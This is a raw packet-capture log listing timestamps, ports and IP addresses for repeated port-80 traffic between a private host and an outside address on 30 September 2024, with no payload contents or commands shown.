Sep 30, 2024 12:33:15.858383894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.858392000 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.858393908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.858408928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.858408928 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.858426094 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.858443022 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.858462095 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.858480930 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982276917 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982290983 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982311964 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982332945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982333899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982346058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982372999 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982372999 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982372999 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982379913 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982391119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982398033 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982415915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982417107 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982433081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982434034 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982444048 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982450962 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982460976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982466936 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982484102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982491970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982491970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982505083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982517004 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982527971 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982542992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982547045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982556105 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982563019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982575893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982579947 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982585907 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982597113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982613087 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982630968 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982647896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982657909 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982678890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982690096 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982692957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982712030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982714891 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982738972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982743025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982784986 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982784986 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982839108 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982851028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982870102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982881069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982892990 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982892990 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982898951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:15.982922077 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982922077 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:15.982947111 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108048916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108059883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108079910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108098030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108107090 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108124018 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108134031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108155966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108169079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108179092 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108180046 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108203888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108205080 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108221054 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108222961 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108242989 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108246088 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108253956 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108269930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108272076 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108282089 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108283043 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108294010 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108298063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108306885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108309984 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108325005 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108334064 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108344078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108344078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108360052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108364105 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108372927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108375072 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108396053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108402014 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108407974 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108429909 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108429909 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108438969 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108453989 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108465910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108474016 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108500004 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108515978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108525038 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108541965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108551979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108551979 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108584881 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108614922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108624935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108648062 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108654976 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108665943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108676910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108683109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108688116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108704090 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108714104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108720064 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108724117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108742952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108747005 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108769894 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108778954 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108793020 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108802080 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108818054 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108829021 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108838081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108848095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108854055 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108875036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108881950 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108911037 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.108966112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108974934 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.108992100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109011889 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109019041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109029055 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109035015 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109046936 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109055042 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109066963 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109078884 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109090090 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109105110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109131098 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109134912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109143972 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109146118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109164953 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109178066 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109201908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109226942 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109236956 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109253883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109263897 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109272003 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109297991 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109405994 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109416008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109431982 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109441996 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109452009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109460115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109468937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109471083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109486103 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109493017 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109496117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109519958 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109520912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109529972 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109530926 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109549046 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109559059 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109560966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109572887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109584093 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109589100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109606028 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109606028 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109616995 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109620094 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109626055 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109631062 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109647036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109658957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109668970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109679937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109688997 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109689951 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109709978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109715939 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109726906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109729052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109745026 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109747887 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109755039 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109761953 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109785080 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109800100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109808922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109827042 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.109843016 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.109865904 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.231961012 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232040882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232110023 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232119083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232136965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232146978 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232146978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232165098 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232177019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232197046 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232278109 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232317924 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232462883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232474089 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232490063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232503891 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232517004 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232650995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232661009 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232677937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232686043 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232700109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232703924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232709885 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232713938 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232731104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232738972 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232763052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232824087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232836962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232851982 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232862949 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232862949 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232880116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232889891 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232914925 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.232968092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.232978106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233006001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233030081 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233165979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233176947 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233194113 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233202934 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233217001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233237982 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233340979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233351946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233367920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233376980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233383894 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233401060 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233402967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233417988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233423948 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233437061 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233453989 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233515024 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233525038 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233544111 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233552933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233552933 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233563900 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233571053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233581066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233584881 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233613014 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233678102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233686924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233705044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233719110 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233740091 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233838081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233848095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233865976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233875036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233884096 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233892918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233905077 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233907938 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.233927965 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.233952045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.234108925 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.234119892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.234137058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.234152079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.234155893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.234178066 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.234195948 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.234271049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.234282017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.234313011 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.234327078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.355591059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.355635881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.355645895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.355664968 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.355674028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.355732918 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.355807066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.355834961 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.355853081 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.355854988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.355863094 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.355895996 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.356607914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.356617928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.356635094 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.356678009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.356705904 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.356775999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.356794119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.356806040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.356815100 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.356818914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.356828928 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.356837988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.356847048 CEST	49705	80	192.168.2.8	185.215.113.37
